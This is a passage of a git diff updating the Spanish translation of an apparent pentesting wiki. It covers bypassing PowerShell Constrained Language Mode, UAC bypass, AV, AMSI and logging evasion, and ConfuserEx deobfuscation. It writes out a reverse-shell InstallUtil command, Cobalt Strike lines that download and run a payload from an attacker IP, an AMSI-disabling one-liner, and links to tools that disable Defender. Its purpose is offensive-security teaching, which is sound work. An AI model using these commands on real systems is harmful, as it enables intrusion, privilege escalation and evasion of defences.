bloquear objetos COM, permitiendo solo tipos .NET aprobados, flujos de trabajo basados en XAML, clases de PowerShell, y más. +PowerShell [**Modo de Lenguaje Restringido**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **bloquea muchas de las características** necesarias para usar PowerShell de manera efectiva, como bloquear objetos COM, permitir solo tipos .NET aprobados, flujos de trabajo basados en XAML, clases de PowerShell y más. ### **Verificar** ```bash @@ -182,8 +182,8 @@ $ExecutionContext.SessionState.LanguageMode #Easy bypass Powershell -version 2 ``` -En Windows actual, esa elusión no funcionará, pero puedes usar [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ -**Para compilarlo, es posible que necesites** **_Agregar una Referencia_** -> _Explorar_ -> _Explorar_ -> agregar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` y **cambiar el proyecto a .Net4.5**. +En Windows actual, esa elusión no funcionará, pero puedes usar [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ +**Para compilarlo, es posible que necesites** **_Agregar una Referencia_** -> _Examinar_ -> _Examinar_ -> agregar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` y **cambiar el proyecto a .Net4.5**. #### Elusión directa: ```bash @@ -193,7 +193,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **ejecutar código de Powershell** en cualquier proceso y eludir el modo restringido. Para más información consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **ejecutar código de Powershell** en cualquier proceso y eludir el modo restringido. Para más información, consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). ## Política de Ejecución de PS diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index e63cf2c58..fc92b1685 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -4,7 +4,7 @@ ## UAC -[Control de Cuentas de Usuario (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una función que permite un **mensaje de consentimiento para actividades elevadas**. Las aplicaciones tienen diferentes niveles de `integridad`, y un programa con un **alto nivel** puede realizar tareas que **podrían comprometer potencialmente el sistema**. Cuando UAC está habilitado, las aplicaciones y tareas siempre **se ejecutan bajo el contexto de seguridad de una cuenta no administrativa** a menos que un administrador autorice explícitamente a estas aplicaciones/tareas a tener acceso de nivel administrativo al sistema para ejecutarse. Es una función de conveniencia que protege a los administradores de cambios no intencionados, pero no se considera un límite de seguridad. +[Control de Cuentas de Usuario (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una función que permite un **mensaje de consentimiento para actividades elevadas**. Las aplicaciones tienen diferentes niveles de `integridad`, y un programa con un **alto nivel** puede realizar tareas que **podrían comprometer potencialmente el sistema**. Cuando UAC está habilitado, las aplicaciones y tareas siempre **se ejecutan bajo el contexto de seguridad de una cuenta no administrativa** a menos que un administrador autorice explícitamente a estas aplicaciones/tareas para tener acceso a nivel de administrador al sistema para ejecutarse. Es una función de conveniencia que protege a los administradores de cambios no intencionados, pero no se considera un límite de seguridad. Para más información sobre los niveles de integridad: @@ -33,13 +33,19 @@ Esta [página](https://docs.microsoft.com/en-us/windows/security/identity-protec Algunos programas son **autoelevados automáticamente** si el **usuario pertenece** al **grupo de administradores**. Estos binarios tienen dentro de sus _**Manifiestos**_ la opción _**autoElevate**_ con valor _**True**_. El binario también debe estar **firmado por Microsoft**. -Luego, para **eludir** el **UAC** (elevar de **nivel** de integridad **medio** a **alto**) algunos atacantes utilizan este tipo de binarios para **ejecutar código arbitrario** porque se ejecutará desde un **proceso de alta integridad**. +Muchos procesos de auto-elevación exponen **funcionalidad a través de objetos COM o servidores RPC**, que pueden ser invocados desde procesos que se ejecutan con integridad media (privilegios de nivel de usuario regular). Tenga en cuenta que COM (Modelo de Objeto Componente) y RPC (Llamada a Procedimiento Remoto) son métodos que los programas de Windows utilizan para comunicarse y ejecutar funciones a través de diferentes procesos. Por ejemplo, el **`IFileOperation COM object`** está diseñado para manejar operaciones de archivos (copiar, eliminar, mover) y puede elevar automáticamente privilegios sin un mensaje. -Puedes **verificar** el _**Manifiesto**_ de un binario usando la herramienta _**sigcheck.exe**_ de Sysinternals. Y puedes **ver** el **nivel de integridad** de los procesos usando _Process Explorer_ o _Process Monitor_ (de Sysinternals). +Tenga en cuenta que se pueden realizar algunas verificaciones, como comprobar si el proceso se ejecutó desde el **directorio System32**, que se puede eludir, por ejemplo, **inyectando en explorer.exe** u otro ejecutable ubicado en System32. + +Otra forma de eludir estas verificaciones es **modificar el PEB**. Cada proceso en Windows tiene un Bloque de Entorno del Proceso (PEB), que incluye datos importantes sobre el proceso, como su ruta ejecutable. Al modificar el PEB, los atacantes pueden falsificar (spoof) la ubicación de su propio proceso malicioso, haciendo que parezca que se ejecuta desde un directorio de confianza (como system32). Esta información falsificada engaña al objeto COM para que eleve automáticamente los privilegios sin solicitar al usuario. + +Luego, para **eludir** el **UAC** (elevar del **nivel** de integridad **media** a **alta**), algunos atacantes utilizan este tipo de binarios para **ejecutar código arbitrario** porque se ejecutará desde un **proceso de alta integridad**. + +Puede **verificar** el _**Manifiesto**_ de un binario utilizando la herramienta _**sigcheck.exe**_ de Sysinternals. (`sigcheck.exe -m `) Y puede **ver** el **nivel de integridad** de los procesos utilizando _Process Explorer_ o _Process Monitor_ (de Sysinternals). ### Verificar UAC -Para confirmar si UAC está habilitado haz: +Para confirmar si UAC está habilitado, haga: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA @@ -58,8 +64,8 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5 - Si **`0`** entonces, UAC no pedirá (como **deshabilitado**) - Si **`1`** se le **pide al administrador el nombre de usuario y la contraseña** para ejecutar el binario con altos derechos (en Secure Desktop) - Si **`2`** (**Siempre notifícame**) UAC siempre pedirá confirmación al administrador cuando intente ejecutar algo con altos privilegios (en Secure Desktop) -- Si **`3`** como `1` pero no es necesario en Secure Desktop -- Si **`4`** como `2` pero no es necesario en Secure Desktop +- Si **`3`** como `1` pero no necesariamente en Secure Desktop +- Si **`4`** como `2` pero no necesariamente en Secure Desktop - si **`5`**(**predeterminado**) pedirá al administrador que confirme para ejecutar binarios no de Windows con altos privilegios Luego, debes revisar el valor de **`LocalAccountTokenFilterPolicy`**\ @@ -71,8 +77,8 @@ Si **`0`**(predeterminado), la **cuenta de Administrador incorporado puede** rea #### Resumen - Si `EnableLUA=0` o **no existe**, **sin UAC para nadie** -- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=1`, sin UAC para nadie** -- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=0`, sin UAC para RID 500 (Administrador incorporado)** +- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=1`, Sin UAC para nadie** +- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=0`, Sin UAC para RID 500 (Administrador incorporado)** - Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=1`, UAC para todos** Toda esta información se puede recopilar utilizando el módulo **metasploit**: `post/windows/gather/win_privs` @@ -84,16 +90,16 @@ whoami /groups | findstr Level ``` ## Bypass de UAC -> [!NOTE] -> Tenga en cuenta que si tiene acceso gráfico a la víctima, el bypass de UAC es directo, ya que simplemente puede hacer clic en "Sí" cuando aparece el aviso de UAC. +> [!TIP] +> Tenga en cuenta que si tiene acceso gráfico a la víctima, el bypass de UAC es sencillo, ya que simplemente puede hacer clic en "Sí" cuando aparece el aviso de UAC. El bypass de UAC es necesario en la siguiente situación: **el UAC está activado, su proceso se está ejecutando en un contexto de integridad media y su usuario pertenece al grupo de administradores**. Es importante mencionar que es **mucho más difícil eludir el UAC si está en el nivel de seguridad más alto (Siempre) que si está en cualquiera de los otros niveles (Predeterminado).** -### UAC deshabilitado +### UAC desactivado -Si el UAC ya está deshabilitado (`ConsentPromptBehaviorAdmin` es **`0`**) puede **ejecutar un shell inverso con privilegios de administrador** (nivel de integridad alto) utilizando algo como: +Si el UAC ya está desactivado (`ConsentPromptBehaviorAdmin` es **`0`**) puede **ejecutar un shell inverso con privilegios de administrador** (nivel de integridad alto) utilizando algo como: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" @@ -131,7 +137,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj # Bypass UAC with CMSTPLUA COM interface runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" ``` -**Empire** y **Metasploit** también tienen varios módulos para **bypasar** el **UAC**. +**Empire** y **Metasploit** también tienen varios módulos para **bypassear** el **UAC**. ### KRBUACBypass @@ -139,8 +145,8 @@ Documentación y herramienta en [https://github.com/wh0amitz/KRBUACBypass](https ### Explotaciones de bypass de UAC -[**UACME** ](https://github.com/hfiref0x/UACME) que es una **compilación** de varias explotaciones de bypass de UAC. Ten en cuenta que necesitarás **compilar UACME usando visual studio o msbuild**. La compilación creará varios ejecutables (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), necesitarás saber **cuál necesitas.**\ -Debes **tener cuidado** porque algunos bypasses **solicitarán otros programas** que **alertarán** al **usuario** que algo está sucediendo. +[**UACME** ](https://github.com/hfiref0x/UACME)que es una **compilación** de varias explotaciones de bypass de UAC. Ten en cuenta que necesitarás **compilar UACME usando visual studio o msbuild**. La compilación creará varios ejecutables (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), necesitarás saber **cuál necesitas.**\ +Debes **tener cuidado** porque algunos bypasses **solicitarán algunos otros programas** que **alertarán** al **usuario** que algo está sucediendo. UACME tiene la **versión de compilación desde la cual cada técnica comenzó a funcionar**. Puedes buscar una técnica que afecte tus versiones: ``` @@ -156,7 +162,7 @@ También, usando [esta](https://en.wikipedia.org/wiki/Windows_10_version_history **Todas** las técnicas utilizadas aquí para eludir AUC **requieren** un **shell interactivo completo** con la víctima (un shell común de nc.exe no es suficiente). -Puedes obtenerlo usando una sesión de **meterpreter**. Migra a un **proceso** que tenga el valor de **Sesión** igual a **1**: +Puedes obtenerlo usando una sesión de **meterpreter**. Migra a un **proceso** que tenga el valor de **Session** igual a **1**: ![](<../../images/image (863).png>) @@ -174,11 +180,11 @@ Si no te importa ser ruidoso, siempre podrías **ejecutar algo como** [**https:/ ### Tu propio bypass - Metodología básica de bypass de UAC -Si echas un vistazo a **UACME** notarás que **la mayoría de los bypass de UAC abusan de una vulnerabilidad de Dll Hijacking** (principalmente escribiendo el dll malicioso en _C:\Windows\System32_). [Lee esto para aprender cómo encontrar una vulnerabilidad de Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/). +Si echas un vistazo a **UACME** notarás que **la mayoría de los bypass de UAC abusan de una vulnerabilidad de Dll Hijacking** (principalmente escribiendo la dll maliciosa en _C:\Windows\System32_). [Lee esto para aprender cómo encontrar una vulnerabilidad de Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html). 1. Encuentra un binario que **autoelevate** (verifica que cuando se ejecuta, se ejecute en un nivel de integridad alto). -2. Con procmon encuentra eventos "**NOMBRE NO ENCONTRADO**" que puedan ser vulnerables a **DLL Hijacking**. -3. Probablemente necesitarás **escribir** el DLL dentro de algunas **rutas protegidas** (como C:\Windows\System32) donde no tienes permisos de escritura. Puedes eludir esto usando: +2. Con procmon encuentra eventos "**NAME NOT FOUND**" que pueden ser vulnerables a **DLL Hijacking**. +3. Probablemente necesitarás **escribir** la DLL dentro de algunas **rutas protegidas** (como C:\Windows\System32) donde no tienes permisos de escritura. Puedes eludir esto usando: 1. **wusa.exe**: Windows 7, 8 y 8.1. Permite extraer el contenido de un archivo CAB dentro de rutas protegidas (porque esta herramienta se ejecuta desde un nivel de integridad alto). 2. **IFileOperation**: Windows 10. 4. Prepara un **script** para copiar tu DLL dentro de la ruta protegida y ejecutar el binario vulnerable y autoelevado. diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 0765ab2f1..eaa10169b 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -4,6 +4,12 @@ **¡Esta página fue escrita por** [**@m2rc_p**](https://twitter.com/m2rc_p)**!** +## Detener Defender + +- [defendnot](https://github.com/es3n1n/defendnot): Una herramienta para detener el funcionamiento de Windows Defender. +- [no-defender](https://github.com/es3n1n/no-defender): Una herramienta para detener el funcionamiento de Windows Defender simulando otro AV. +- [Desactivar Defender si eres administrador](basic-powershell-for-pentesters/README.md) + ## **Metodología de Evasión de AV** Actualmente, los AV utilizan diferentes métodos para verificar si un archivo es malicioso o no, detección estática, análisis dinámico y, para los EDR más avanzados, análisis de comportamiento. @@ -18,13 +24,13 @@ Si cifras el binario, no habrá forma de que el AV detecte tu programa, pero nec - **Ofuscación** -A veces, todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o script para que pase el AV, pero esto puede ser una tarea que consume mucho tiempo dependiendo de lo que estés tratando de ofuscar. +A veces, todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o script para que pase el AV, pero esto puede ser una tarea que consume tiempo dependiendo de lo que estés tratando de ofuscar. - **Herramientas personalizadas** Si desarrollas tus propias herramientas, no habrá firmas malas conocidas, pero esto requiere mucho tiempo y esfuerzo. -> [!NOTE] +> [!TIP] > Una buena manera de verificar contra la detección estática de Windows Defender es [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Básicamente, divide el archivo en múltiples segmentos y luego le pide a Defender que escanee cada uno individualmente, de esta manera, puede decirte exactamente cuáles son las cadenas o bytes marcados en tu binario. Te recomiendo encarecidamente que revises esta [lista de reproducción de YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sobre evasión práctica de AV. @@ -33,7 +39,7 @@ Te recomiendo encarecidamente que revises esta [lista de reproducción de YouTub El análisis dinámico es cuando el AV ejecuta tu binario en un sandbox y observa actividades maliciosas (por ejemplo, intentar descifrar y leer las contraseñas de tu navegador, realizar un minidump en LSASS, etc.). Esta parte puede ser un poco más complicada de manejar, pero aquí hay algunas cosas que puedes hacer para evadir sandboxes. -- **Dormir antes de la ejecución** Dependiendo de cómo se implemente, puede ser una gran manera de eludir el análisis dinámico del AV. Los AV tienen un tiempo muy corto para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largos períodos de sueño puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente omitir el sueño dependiendo de cómo se implemente. +- **Dormir antes de la ejecución** Dependiendo de cómo se implemente, puede ser una gran manera de eludir el análisis dinámico del AV. Los AV tienen un tiempo muy corto para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largos períodos de espera puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente omitir el sueño dependiendo de cómo se implemente. - **Verificar los recursos de la máquina** Generalmente, los sandboxes tienen muy pocos recursos para trabajar (por ejemplo, < 2GB de RAM), de lo contrario, podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo, verificando la temperatura de la CPU o incluso las velocidades del ventilador, no todo estará implementado en el sandbox. - **Comprobaciones específicas de la máquina** Si deseas dirigirte a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes hacer una verificación en el dominio de la computadora para ver si coincide con el que has especificado, si no coincide, puedes hacer que tu programa salga. @@ -47,26 +53,26 @@ Algunos otros consejos realmente buenos de [@mgeeky](https://twitter.com/mariusz Como hemos dicho antes en esta publicación, **las herramientas públicas** eventualmente **serán detectadas**, así que deberías preguntarte algo: -Por ejemplo, si deseas volcar LSASS, **¿realmente necesitas usar mimikatz**? ¿O podrías usar un proyecto diferente que sea menos conocido y que también voltee LSASS? +Por ejemplo, si deseas volcar LSASS, **¿realmente necesitas usar mimikatz**? O podrías usar un proyecto diferente que sea menos conocido y que también voltee LSASS. -La respuesta correcta probablemente sea la última. Tomando mimikatz como ejemplo, probablemente sea una de, si no la más, señalada pieza de malware por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para eludir los AV, así que solo busca alternativas para lo que estás tratando de lograr. +La respuesta correcta probablemente sea la última. Tomando mimikatz como ejemplo, probablemente sea una de, si no la más, marcada pieza de malware por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para eludir los AV, así que solo busca alternativas para lo que estás tratando de lograr. -> [!NOTE] +> [!TIP] > Al modificar tus cargas útiles para la evasión, asegúrate de **desactivar la presentación automática de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr evasión a largo plazo. Si deseas verificar si tu carga útil es detectada por un AV en particular, instálalo en una VM, intenta desactivar la presentación automática de muestras y pruébalo allí hasta que estés satisfecho con el resultado. ## EXEs vs DLLs -Siempre que sea posible, **prioriza el uso de DLLs para la evasión**, en mi experiencia, los archivos DLL son generalmente **mucho menos detectados** y analizados, así que es un truco muy simple de usar para evitar la detección en algunos casos (si tu carga útil tiene alguna forma de ejecutarse como una DLL, por supuesto). +Siempre que sea posible, **prioriza el uso de DLLs para la evasión**, en mi experiencia, los archivos DLL son generalmente **mucho menos detectados** y analizados, por lo que es un truco muy simple de usar para evitar la detección en algunos casos (si tu carga útil tiene alguna forma de ejecutarse como una DLL, por supuesto). Como podemos ver en esta imagen, una carga útil DLL de Havoc tiene una tasa de detección de 4/26 en antiscan.me, mientras que la carga útil EXE tiene una tasa de detección de 7/26. -

comparación de antiscan.me de una carga útil EXE normal de Havoc vs una DLL normal de Havoc

+

comparación de antiscan.me de una carga útil normal de Havoc EXE vs una normal de Havoc DLL

Ahora mostraremos algunos trucos que puedes usar con archivos DLL para ser mucho más sigiloso. ## Carga lateral de DLL y Proxying -**Carga lateral de DLL** aprovecha el orden de búsqueda de DLL utilizado por el cargador al posicionar tanto la aplicación víctima como la(s) carga útil(es) maliciosa(s) una al lado de la otra. +**La carga lateral de DLL** aprovecha el orden de búsqueda de DLL utilizado por el cargador al posicionar tanto la aplicación víctima como la(s) carga útil(es) maliciosa(s) una al lado de la otra. Puedes verificar programas susceptibles a la carga lateral de DLL usando [Siofra](https://github.com/Cybereason/siofra) y el siguiente script de powershell: ```bash @@ -77,7 +83,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija ``` Este comando mostrará la lista de programas susceptibles a DLL hijacking dentro de "C:\Program Files\\" y los archivos DLL que intentan cargar. -Te recomiendo encarecidamente que **explores los programas DLL Hijackable/Sideloadable tú mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas DLL Sideloadable de conocimiento público, podrías ser atrapado fácilmente. +Recomiendo encarecidamente que **explores los programas DLL Hijackable/Sideloadable tú mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas DLL Sideloadable de conocimiento público, podrías ser atrapado fácilmente. Simplemente colocar una DLL maliciosa con el nombre que un programa espera cargar, no cargará tu payload, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada **DLL Proxying/Forwarding**. @@ -100,11 +106,11 @@ El último comando nos dará 2 archivos: una plantilla de código fuente DLL y l ```
-¡Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como la DLL proxy tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo llamaría a eso un éxito. +¡Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como la DLL proxy tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo lo llamaría un éxito.
-> [!NOTE] +> [!TIP] > **Recomiendo encarecidamente** que veas el [VOD de twitch de S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también el [video de ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) para aprender más sobre lo que hemos discutido en mayor profundidad. ## [**Freeze**](https://github.com/optiv/Freeze) @@ -120,12 +126,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez ```
-> [!NOTE] +> [!TIP] > La evasión es solo un juego de gato y ratón, lo que funciona hoy podría ser detectado mañana, así que nunca confíes solo en una herramienta, si es posible, intenta encadenar múltiples técnicas de evasión. ## AMSI (Interfaz de Escaneo Anti-Malware) -AMSI fue creado para prevenir "[malware sin archivos](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, los AV solo podían escanear **archivos en disco**, por lo que si podías ejecutar cargas útiles **directamente en memoria**, el AV no podía hacer nada para prevenirlo, ya que no tenía suficiente visibilidad. +AMSI fue creado para prevenir "[malware sin archivos](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, los AV solo podían escanear **archivos en disco**, así que si podías ejecutar cargas útiles **directamente en memoria**, el AV no podía hacer nada para prevenirlo, ya que no tenía suficiente visibilidad. La función AMSI está integrada en estos componentes de Windows. @@ -141,7 +147,7 @@ Ejecutar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc
-Nota cómo se antepone `amsi:` y luego la ruta al ejecutable desde el cual se ejecutó el script, en este caso, powershell.exe +Nota cómo antepone `amsi:` y luego la ruta al ejecutable desde el cual se ejecutó el script, en este caso, powershell.exe No dejamos ningún archivo en disco, pero aún así nos atraparon en memoria debido a AMSI. @@ -151,13 +157,13 @@ Hay un par de formas de eludir AMSI: - **Ofuscación** -Dado que AMSI funciona principalmente con detecciones estáticas, modificar los scripts que intentas cargar puede ser una buena manera de evadir la detección. +Dado que AMSI funciona principalmente con detecciones estáticas, por lo tanto, modificar los scripts que intentas cargar puede ser una buena manera de evadir la detección. Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tiene múltiples capas, por lo que la ofuscación podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan sencillo evadir. Aunque, a veces, todo lo que necesitas hacer es cambiar un par de nombres de variables y estarás bien, así que depende de cuánto se haya marcado algo. - **Evasión de AMSI** -Dado que AMSI se implementa cargando una DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularlo fácilmente incluso ejecutándose como un usuario sin privilegios. Debido a este defecto en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI. +Dado que AMSI se implementa cargando un DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularlo fácilmente incluso ejecutándose como un usuario sin privilegios. Debido a este defecto en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI. **Forzar un Error** @@ -165,7 +171,7 @@ Forzar que la inicialización de AMSI falle (amsiInitFailed) resultará en que n ```bash [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` -Todo lo que se necesitó fue una línea de código de powershell para hacer que AMSI fuera inutilizable para el proceso de powershell actual. Esta línea, por supuesto, ha sido marcada por el propio AMSI, por lo que se necesita alguna modificación para utilizar esta técnica. +Todo lo que se necesitó fue una línea de código de powershell para hacer que AMSI fuera inutilizable para el proceso de powershell actual. Esta línea, por supuesto, ha sido marcada por AMSI mismo, por lo que se necesita alguna modificación para usar esta técnica. Aquí hay un bypass de AMSI modificado que tomé de este [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db). ```bash @@ -187,7 +193,7 @@ Ten en cuenta que esto probablemente será marcado una vez que se publique esta Esta técnica fue descubierta inicialmente por [@RastaMouse](https://twitter.com/_RastaMouse/) y consiste en encontrar la dirección de la función "AmsiScanBuffer" en amsi.dll (responsable de escanear la entrada proporcionada por el usuario) y sobrescribirla con instrucciones para devolver el código para E_INVALIDARG, de esta manera, el resultado del escaneo real devolverá 0, que se interpreta como un resultado limpio. -> [!NOTE] +> [!TIP] > Por favor, lee [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para una explicación más detallada. También hay muchas otras técnicas utilizadas para eludir AMSI con PowerShell, consulta [**esta página**](basic-powershell-for-pentesters/index.html#amsi-bypass) y [**este repositorio**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender más sobre ellas. @@ -209,31 +215,65 @@ powershell.exe -version 2 ``` ## PS Logging -El registro de PowerShell es una función que permite registrar todos los comandos de PowerShell ejecutados en un sistema. Esto puede ser útil para fines de auditoría y solución de problemas, pero también puede ser un **problema para los atacantes que quieren evadir la detección**. +El registro de PowerShell es una función que te permite registrar todos los comandos de PowerShell ejecutados en un sistema. Esto puede ser útil para fines de auditoría y solución de problemas, pero también puede ser un **problema para los atacantes que quieren evadir la detección**. Para eludir el registro de PowerShell, puedes usar las siguientes técnicas: -- **Desactivar la transcripción de PowerShell y el registro de módulos**: Puedes usar una herramienta como [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) para este propósito. +- **Deshabilitar la transcripción de PowerShell y el registro de módulos**: Puedes usar una herramienta como [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) para este propósito. - **Usar PowerShell versión 2**: Si usas PowerShell versión 2, AMSI no se cargará, por lo que puedes ejecutar tus scripts sin ser escaneado por AMSI. Puedes hacer esto: `powershell.exe -version 2` - **Usar una sesión de PowerShell no administrada**: Usa [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) para iniciar un PowerShell sin defensas (esto es lo que usa `powerpick` de Cobalt Strike). ## Obfuscation -> [!NOTE] -> Varias técnicas de ofuscación se basan en cifrar datos, lo que aumentará la entropía del binario, lo que facilitará a los AVs y EDRs detectarlo. Ten cuidado con esto y tal vez solo aplica cifrado a secciones específicas de tu código que sean sensibles o necesiten ser ocultadas. +> [!TIP] +> Varias técnicas de ofuscación se basan en cifrar datos, lo que aumentará la entropía del binario, lo que facilitará que los AV y EDR lo detecten. Ten cuidado con esto y tal vez solo aplica cifrado a secciones específicas de tu código que sean sensibles o necesiten ser ocultadas. -Hay varias herramientas que se pueden usar para **ofuscar código en texto claro de C#**, generar **plantillas de metaprogramación** para compilar binarios o **ofuscar binarios compilados** como: +### Deobfuscating ConfuserEx-Protected .NET Binaries -- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): Es un gran ofuscador de código abierto para aplicaciones .NET. Proporciona varias técnicas de protección como ofuscación de flujo de control, anti-depuración, anti-manipulación y cifrado de cadenas. Se recomienda porque permite incluso ofuscar fragmentos específicos de código. -- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Ofuscador de C#** -- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto de la suite de compilación [LLVM](http://www.llvm.org/) capaz de proporcionar mayor seguridad en el software a través de [ofuscación de código]() y protección contra manipulaciones. +Al analizar malware que utiliza ConfuserEx 2 (o bifurcaciones comerciales), es común enfrentarse a varias capas de protección que bloquearán descompiladores y sandboxes. El flujo de trabajo a continuación restaura de manera confiable **un IL casi original** que luego puede ser descompilado a C# en herramientas como dnSpy o ILSpy. + +1. Eliminación de anti-tampering – ConfuserEx cifra cada *cuerpo de método* y lo descifra dentro del *constructor estático* del *módulo* (`.cctor`). Esto también parchea el checksum PE, por lo que cualquier modificación hará que el binario se bloquee. Usa **AntiTamperKiller** para localizar las tablas de metadatos cifradas, recuperar las claves XOR y reescribir un ensamblado limpio: +```bash +# https://github.com/wwh1004/AntiTamperKiller +python AntiTamperKiller.py Confused.exe Confused.clean.exe +``` +La salida contiene los 6 parámetros anti-tampering (`key0-key3`, `nameHash`, `internKey`) que pueden ser útiles al construir tu propio descompresor. + +2. Recuperación de símbolos / flujo de control – alimenta el archivo *limpio* a **de4dot-cex** (una bifurcación de de4dot que es consciente de ConfuserEx). +```bash +de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe +``` +Flags: +• `-p crx` – selecciona el perfil de ConfuserEx 2 +• de4dot deshará la aplanación del flujo de control, restaurará los espacios de nombres, clases y nombres de variables originales y descifrará cadenas constantes. + +3. Eliminación de llamadas proxy – ConfuserEx reemplaza las llamadas directas a métodos con envolturas ligeras (también conocidas como *llamadas proxy*) para romper aún más la descompilación. Elimínalas con **ProxyCall-Remover**: +```bash +ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe +``` +Después de este 